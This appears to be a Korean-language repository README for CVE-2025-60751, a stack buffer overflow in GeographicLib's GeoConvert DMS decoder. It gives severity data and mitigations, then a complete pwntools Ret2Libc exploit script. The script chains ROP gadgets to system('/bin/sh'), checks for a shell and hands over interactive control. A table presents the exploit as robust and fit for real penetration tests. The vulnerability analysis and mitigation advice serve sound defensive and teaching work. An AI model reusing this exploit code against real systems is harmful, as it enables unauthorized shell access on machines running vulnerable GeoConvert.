
📌 이 저장소는 C++ 라이브러리 GeographicLib에 존재하는 스택 기반 버퍼 오버플로우 (Stack-based Buffer Overflow) 결함인 CVE-2025-60751 취약점에 대한 분석 및 기술 문서를 포함합니다.
이 취약점은 GeoConvert 구성 요소 내의 DMS::InternalDecode 함수에서 발생합니다.
이 결함은 라이브러리가 DMS (도, 분, 초) 형식의 잘못되었거나 지나치게 긴 좌표 문자열을 처리하려고 할 때 발생하며, 이로 인해 스택에 할당된 버퍼의 경계를 벗어난 쓰기가 발생합니다.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H원격 공격자는 특별히 제작된 좌표 문자열을 전송하여 다음을 수행할 수 있습니다:
GeographicLib를 사용하여 좌표를 변환하는 애플리케이션의 예기치 않은 종료(crash)를 유발합니다.⚠️ 기술 참고 사항: 현재 벡터는 가용성(
A:H)에 초점을 맞추고 있지만, 현대적인 메모리 보호 기능(Stack Canaries, NX bit 또는 ASLR 활성화 등)이 없는 특정 환경에서는 이 결함이 잠재적으로 임의 코드 실행으로 확대될 수 있습니다.
| 제품 | 취약 버전 | 감지된 배포판 |
|---|---|---|
GeographicLib | 2.5 | Debian LTS, Ubuntu 및 이 버전을 통합하는 기타 Linux 리포지토리의 패키지 |
✅ 업데이트: InternalDecode의 길이 검증이 수정된 최신 버전의 GeographicLib로 업데이트할 것을 강력히 권장합니다.
✅ 입력 검증: 업데이트가 불가능한 경우, DMS::Decode로 전송되는 문자열의 길이를 제한하는 검증 계층을 구현하십시오 (예: 최대 32자).
✅ 안전한 컴파일: 스택 보호 플래그를 사용하여 라이브러리를 컴파일하십시오:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0matt의 기술 분석이 익스플로잇은 pwntools를 사용하여 버퍼 오버플로우를 활용한 Ret2Libc 공격을 수행합니다.
기본 버전과 달리 이 구현은 강력하고, 동적이며, 검증 가능하여 실제 침투 테스트 및 실습 환경에 적합합니다.
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ 면책 조항
이 저장소는 사이버 보안 전문가를 위한 순수한 정보 제공 및 교육 목적입니다.
이 정보를 불법적인 목적으로 사용하는 것은 전적으로 사용자의 책임입니다.
❗ 코드를 주의해서 사용하십시오: 승인된 격리된 환경에서만, 명시적 허가를 받은 경우에만 사용하십시오.
🔐 보안은 기능이 아니라 — 하나의 학문입니다.
📬 취약점 보고: [email protected]
📦 공식 저장소: https://github.com/geographiclib/geographiclib
| 특징 | 이점 |
|---|
동적 ROP(elf) | 하드코딩된 가젯에 의존하지 않음: 바이너리에서 자동으로 찾아냄. |
GDB 통합 지원 | python exploit.py GDB 실행 → 자동 디버깅 세션 시작. |
| 익스플로잇 후 검증 | id를 전송하고 대화형 제어를 넘겨주기 전에 셸을 확인함. |
스택 정렬을 위한 RET | 잘못된 정렬로 인한 system() 충돌 방지 (x64에서 중요). |
list + b"".join() 구조의 페이로드 | 깔끔하고 가독성이 좋으며 수정 및 확장이 용이함. |